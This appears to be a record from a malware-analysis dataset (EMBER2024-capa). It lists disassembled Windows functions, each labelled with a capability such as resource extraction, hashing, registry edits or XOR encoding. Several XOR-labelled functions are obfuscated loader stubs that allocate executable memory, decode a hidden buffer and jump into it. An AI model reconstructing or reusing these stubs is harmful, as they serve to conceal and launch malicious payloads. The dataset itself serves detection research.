joyce8/EMBER2024-capa huggingface dataset:
Function at 0x557b10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5770a5
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
mov eax, dword [0x5d52e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x20]
mov dword [esi + 0x78], ebx
call fcn.0040e785
push 0x68
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.0040e555
call fcn.0040da38
mov eax, dword [eax + 4]
cmp word [eax + 0xc0], bx
jbe 0x557bea
call fcn.0040c84f
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x557b83
push 0x80004005
call fcn.004010a0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x10]
mov byte [ebp - 4], 1
push edx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x14], ebx
call fcn.0040e809
call fcn.0040da38
mov eax, dword [eax + 4]
movzx eax, word [eax + 0xc0]
push eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040e5bd
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x557bea
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp word [eax], 1
jne 0x557c14
mov edx, 0xffff
cmp word [eax + 2], dx
jne 0x557c14
cmp dword [0x5ddaf8], ebx
je 0x557c14
or dword [eax + 8], 0x400000
mov ecx, dword [esi + 0x88]
push ebx
push ecx
push eax
mov ecx, esi
call fcn.004171af
mov ecx, esi
call fcn.00417919
lea ecx, [ebp - 0x20]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
call fcn.0040e3be
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x558270
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5770d0
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x5d52e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 0xc]
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x18]
mov dword [esi + 0x88], edi
mov dword [esi + 0x78], ebx
call fcn.0040e785
mov dword [ebp - 4], ebx
movzx eax, word [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e555
call fcn.0040da38
mov eax, dword [eax + 4]
cmp word [eax + 0xc0], bx
jbe 0x558357
call fcn.0040c84f
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x5582f0
push 0x80004005
call fcn.004010a0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp + 0xc], eax
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp + 0xc]
mov byte [ebp - 4], 1
push edx
lea ecx, [ebp - 0x18]
mov dword [ebp + 8], ebx
call fcn.0040e809
call fcn.0040da38
mov eax, dword [eax + 4]
movzx eax, word [eax + 0xc0]
push eax
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e5bd
mov byte [ebp - 4], bl
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x558357
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp word [eax], 1
jne 0x558381
mov edx, 0xffff
cmp word [eax + 2], dx
jne 0x558381
cmp dword [0x5ddaf8], ebx
je 0x558381
or dword [eax + 8], 0x400000
push ebx
push edi
push eax
mov ecx, esi
call fcn.00417b96
lea ecx, [ebp - 0x18]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
call fcn.0040e3be
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x5583c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5770fb
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
mov eax, dword [0x5d52e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x20]
mov dword [esi + 0x78], ebx
call fcn.0040e785
push 0x69
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.0040e555
call fcn.0040da38
mov eax, dword [eax + 4]
cmp word [eax + 0xc0], bx
jbe 0x55849a
call fcn.0040c84f
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x558433
push 0x80004005
call fcn.004010a0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x10]
mov byte [ebp - 4], 1
push edx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x14], ebx
call fcn.0040e809
call fcn.0040da38
mov eax, dword [eax + 4]
movzx eax, word [eax + 0xc0]
push eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040e5bd
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x55849a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp word [eax], 1
jne 0x5584c4
mov edx, 0xffff
cmp word [eax + 2], dx
jne 0x5584c4
cmp dword [0x5ddaf8], ebx
je 0x5584c4
or dword [eax + 8], 0x400000
mov ecx, dword [esi + 0x88]
push ebx
push ecx
push eax
mov ecx, esi
call fcn.004171af
mov ecx, esi
call fcn.00417919
lea ecx, [ebp - 0x20]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
call fcn.0040e3be
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x558960
Capabilities:
Delete file

Disassembly:
push esi
mov esi, dword [edi + 0x4a8]
cmp esi, dword [edi + 0x4ac]
je 0x558987
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [esi]
push eax
call ebx
add esi, 0x1c
cmp esi, dword [edi + 0x4ac]
jne 0x558976
pop ebx
pop esi
ret
Function at 0x558d90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x577126
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x5d52e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 0x18]
mov dword [esi + 0x88], edi
call fcn.0040e785
mov dword [ebp - 4], 0
movzx eax, word [ebp + 8]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e555
call fcn.0040da38
mov eax, dword [eax + 4]
cmp word [eax + 0xc0], 0
jbe 0x558e7c
call fcn.0040c84f
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x558e10
push 0x80004005
call fcn.004010a0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp + 0xc], eax
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp + 0xc]
mov byte [ebp - 4], 1
push edx
lea ecx, [ebp - 0x18]
mov dword [ebp + 8], 0
call fcn.0040e809
call fcn.0040da38
mov eax, dword [eax + 4]
movzx eax, word [eax + 0xc0]
push eax
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040e5bd
mov byte [ebp - 4], 0
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x558e7c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp word [eax], 1
jne 0x558ea7
mov edx, 0xffff
cmp word [eax + 2], dx
jne 0x558ea7
cmp dword [0x5ddaf8], 0
je 0x558ea7
or dword [eax + 8], 0x400000
push 0
push edi
push eax
mov ecx, esi
call fcn.00417b96
lea ecx, [ebp - 0x18]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
call fcn.0040e3be
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x558ee0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x577151
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
mov eax, dword [0x5d52e0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
xor ebx, ebx
push ebx
lea ecx, [ebp - 0x20]
mov dword [esi + 0x78], ebx
call fcn.0040e785
push 0x65
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.0040e555
call fcn.0040da38
mov eax, dword [eax + 4]
cmp word [eax + 0xc0], bx
jbe 0x558fba
call fcn.0040c84f
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x558f53
push 0x80004005
call fcn.004010a0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x10]
mov byte [ebp - 4], 1
push edx
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x14], ebx
call fcn.0040e809
call fcn.0040da38
mov eax, dword [eax + 4]
movzx eax, word [eax + 0xc0]
push eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 0x20]
call fcn.0040e5bd
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x558fba
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp word [eax], 1
jne 0x558fe4
mov edx, 0xffff
cmp word [eax + 2], dx
jne 0x558fe4
cmp dword [0x5ddaf8], ebx
je 0x558fe4
or dword [eax + 8], 0x400000
mov ecx, dword [esi + 0x88]
push ebx
push ecx
push eax
mov ecx, esi
call fcn.004171af
mov ecx, esi
call fcn.00417919
lea ecx, [ebp - 0x20]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
call fcn.0040e3be
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x63e7e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x63e805
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x63e878
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x63e83a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x63e86d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x63e86b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x63e831
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x63e7fc
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x1000ecef
Capabilities:
Hash data using djb2

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x1000ecfb
or eax, 0xffffffff
pop esi
ret
movzx eax, word [esi]
push ebx
push edi
mov edi, 0x1505
xor ebx, ebx
jmp 0x1000ed23
movzx ecx, ax
add eax, 0xffffffbf
cmp ax, 0x19
lea edx, [ecx + 0x20]
cmova edx, ecx
imul edi, edi, 0x21
xor edi, edx
inc ebx
movzx eax, word [esi + ebx*2]
test ax, ax
jne 0x1000ed09
imul eax, edi, 0x41c64e6d
imul ecx, edi, 0x10dcd
pop edi
pop ebx
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
ret

Function at 0x10010b11
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10010b20
pop dword [ebp - 0x1c]
mov eax, 0x10010b20
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xe3e4c1f9
sub dword [ebp - 0x2c], 0x95927cae
mov dword [ebp - 0x28], 0x88ae5dbc
sub dword [ebp - 0x28], 0x567b1177
mov dword [ebp - 0x24], 0xfd121688
sub dword [ebp - 0x24], 0xb0c5d25a
mov dword [ebp - 0x20], 0x4da57c90
add dword [ebp - 0x20], 0xb25a8370
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x46f2473c
add eax, 0xc90f89cc
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x9101c595
add dword [ebp - 0x2c], 0xe370a3c1
mov dword [ebp - 0x28], 0x933f15fd
sub dword [ebp - 0x28], 0x51d2b488
mov dword [ebp - 0x24], 0xc1876375
add dword [ebp - 0x24], 0xa1e808f7
mov dword [ebp - 0x20], 0x49054126
add dword [ebp - 0x20], 0xb6fabeda
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3b546
push 0
call eax
mov ecx, 0x4c56
xor ebx, ebx
add ebx, eax
mov edx, 0xb0c20308
add edx, 0x5f414cf8
add edx, dword [ebp - 0x1c]
mov edi, 0x4d39db68
sub edi, 0x3b7904d2
xor dword [ebp - 8], 0x5c14d58a
mov esi, dword [edx]
sub dword [ebp - 0x10], 0x2ba7a093
add esi, edi
add dword [ebp - 0x14], 0xa62e614d
mov dword [ebx], esi
add dword [ebp - 4], esi
add ebx, 0x12b6a9fa
sub ebx, 0x12b6a9f6
add edx, 0x20227395
add edx, 0xdfdd8c6f
loop 0x10010c34
add eax, 0x646ee458
sub eax, 0x646dc02d
mov ebx, eax
add eax, 0x9ec4cfec
add eax, 0x613b3019
mov ecx, 0x5522a5d3
sub ecx, 0x4522a5d3
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x100062fa
pop dword [ebp - 0x28]
mov eax, 0x6b5e3371
sub eax, 0x5b5dd077
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x368d4
push 0
mov eax, 0xb1961bc2
add eax, 0x5e6b24a2
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0xb923e3d1
add ecx, 0x46dc5a4d
xor esi, esi
add esi, eax
mov edi, 0x51fcfd02
sub edi, 0x41fb7702
add edi, dword [ebp - 0x28]
mov edx, 0x4c257df0
xor dword [ebp - 0x1c], 0x99b80bcd
mov ebx, dword [edi]
sub dword [ebp - 0x14], 0xb874f79e
sub ebx, edx
mov dword [ebp - 8], 0xb1eb1440
mov dword [esi], ebx
xor dword [ebp - 8], esi
add esi, 0x429451f8
sub esi, 0x429451f4
add edi, 0xf5a5f8db
sub edi, 0xf5a5f8d7
loop 0x10006355
add eax, 0xeb4b
xor ebx, ebx
add ebx, eax
add eax, 0x9ee335be
add eax, 0x611cca47
mov ecx, 0x60550d57
sub ecx, 0x50550d57
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x10006762
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x1005f070]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x10060d58], 0
jne 0x10006812
and dword [ebp - 0x6c], 0
lea eax, [ebp - 0x6c]
push esi
push eax
push 0x20019
push ecx
mov edx, str.SOFTWAREMicrosoftInternet_Explorer
mov dword [ebp - 0x70], 0x64
mov ecx, 0x80000002
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
xor esi, esi
inc esi
test eax, eax
jne 0x100067fc
movzx eax, byte [ebp - 0x68]
xor ecx, ecx
cmp dword [ebp - 0x74], esi
cmove eax, ecx
mov byte [ebp - 0x68], al
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
push eax
push ecx
push str.Version
push dword [ebp - 0x6c]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
jne 0x100067fc
cmp word [ebp - 0x68], ax
je 0x100067fc
push 0xa
pop edx
lea ecx, [ebp - 0x68]
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
mov ecx, dword [0x10060d54]
cmp eax, 4
cmova ecx, esi
mov dword [0x10060d54], ecx
cmp dword [ebp - 0x6c], 0
mov dword [0x10060d58], esi
pop esi
je 0x10006812
push dword [ebp - 0x6c]
call dword [sym.imp.advapi32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [0x10060d54]
xor ecx, ebp
call fcn.1002f764
leave
ret
Function at 0x10009b64
Capabilities:
Delete registry value

Disassembly:
push 0x1c
mov eax, 0x10031761
call fcn.10030d83
mov ebx, edx
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov edi, eax
mov byte [ebp - 4], 5
lea eax, [ebp - 0x18]
mov edx, str.SOFTWARE
push eax
lea eax, [ebp - 0x28]
push eax
sub esp, 0x14
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
mov edx, 0x10036e08
push eax
sub esp, 0x14
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
mov edx, str.Internet_Explorer
push eax
sub esp, 0x14
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
test eax, eax
jne 0x10009c8d
cmp dword [ebp + 8], edi
mov eax, str.Default_HTML_Editor
mov ecx, dword [ebp - 0x14]
mov esi, str.Default_MHTML_Editor
cmove esi, eax
mov edx, esi
call fcn.1000b7bc
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
mov edx, esi
push eax
sub esp, 0x14
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
mov edx, 0x10036e40
push eax
sub esp, 0x14
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
test eax, eax
jne 0x10009c8d
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
mov edx, 0x100364c0
push eax
sub esp, 0x14
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
test eax, eax
jne 0x10009c8d
push str.Description
push dword [ebp - 0x10]
call dword [sym.imp.advapi32.dll_RegDeleteValueW]
mov edx, dword [ebp - 0x1c]
xor esi, esi
push esi
mov ecx, ebx
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
call fcn.10006762
test eax, eax
je 0x10009c8a
push esi
push esi
push 0x1a
push 0xffff
call dword [sym.imp.USER32.dll_SendNotifyMessageW]
xor edi, edi
inc edi
cmp dword [ebp - 0x1c], 0
mov esi, dword [sym.imp.advapi32.dll_RegCloseKey]
je 0x10009c9e
push dword [ebp - 0x1c]
call esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x20], ebx
je 0x10009cad
push dword [ebp - 0x20]
call esi
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x10], ebx
je 0x10009cba
push dword [ebp - 0x10]
call esi
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
je 0x10009cc7
push dword [ebp - 0x14]
call esi
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x24], ebx
je 0x10009cd4
push dword [ebp - 0x24]
call esi
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x28], ebx
je 0x10009ce1
push dword [ebp - 0x28]
call esi
mov eax, edi
call fcn.10030d61
ret 4
Function at 0x1000c16f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000c17e
pop dword [ebp - 0x34]
mov eax, 0x1000c17e
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xe276542d
sub dword [ebp - 0x44], 0x94240ee2
mov dword [ebp - 0x40], 0x6048732
sub dword [ebp - 0x40], 0xd3d13aed
mov dword [ebp - 0x3c], 0x2ad90be
add dword [ebp - 0x3c], 0x499eb370
mov dword [ebp - 0x38], 0xeecd121c
sub dword [ebp - 0x38], 0xeecd121c
lea eax, [ebp - 0x44]
push eax
mov eax, 0xaa47fe36
add eax, 0x65bb426e
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x4a29d4f2
add dword [ebp - 0x44], 0x2a489464
mov dword [ebp - 0x40], 0xefb70ca
sub dword [ebp - 0x40], 0xcd8f0f55
mov dword [ebp - 0x3c], 0x94e3e64f
add dword [ebp - 0x3c], 0xce8b861d
mov dword [ebp - 0x38], 0xcd6a6a44
add dword [ebp - 0x38], 0x329595bc
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x41a7c
push 0
call eax
mov ecx, 0x7c851329
add ecx, 0x837b3604
mov ebx, eax
mov esi, 0x10068800
add esi, dword [ebp - 0x34]
mov edi, 0x2dee1dc4
add edi, 0x8bf06cd4
xor dword [ebp - 0x10], ecx
mov edx, dword [esi]
add dword [ebp - 0x20], esi
sub edx, edi
sub dword [ebp - 0x1c], esi
mov dword [ebx], edx
xor dword [ebp - 0x24], 0x8c02a2c7
add ebx, 4
add esi, 0xd124a494
add esi, 0x2edb5b70
loop 0x1000c290
add eax, 0x3a8634c5
add eax, 0xc57ae2c2
xor ebx, ebx
add ebx, eax
add eax, 0xd8ca7c28
sub eax, 0xd8ca7c23
mov ecx, 0xb5d37777
sub ecx, 0xa5d37777
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x1001d0a2
Capabilities:
Get thread local storage value

Disassembly:
push 8
mov eax, 0x100323df
call fcn.10030d83
cmp byte [0x100604ac], 0
push dword [0x100604a8]
je 0x1001d0c5
call dword [sym.imp.kernel32.dll_FlsGetValue]
jmp 0x1001d0cb
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov esi, eax
test esi, esi
jne 0x1001d114
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
pop ecx
test esi, esi
je 0x1001d11c
mov dword [ebp - 0x10], esi
xor edi, edi
mov dword [ebp - 4], edi
push 8
pop ecx
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
call fcn.1000ccf7
mov dword [esi], eax
push esi
mov dword [eax], edi
mov dword [eax + 4], edi
mov ecx, dword [esi]
mov dword [ecx], esi
mov ecx, 0x100604a8
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
mov eax, esi
call fcn.10030d61
ret
call sym.MSOHEV.dll__HevFIsHTMLOrMHTML_4
int3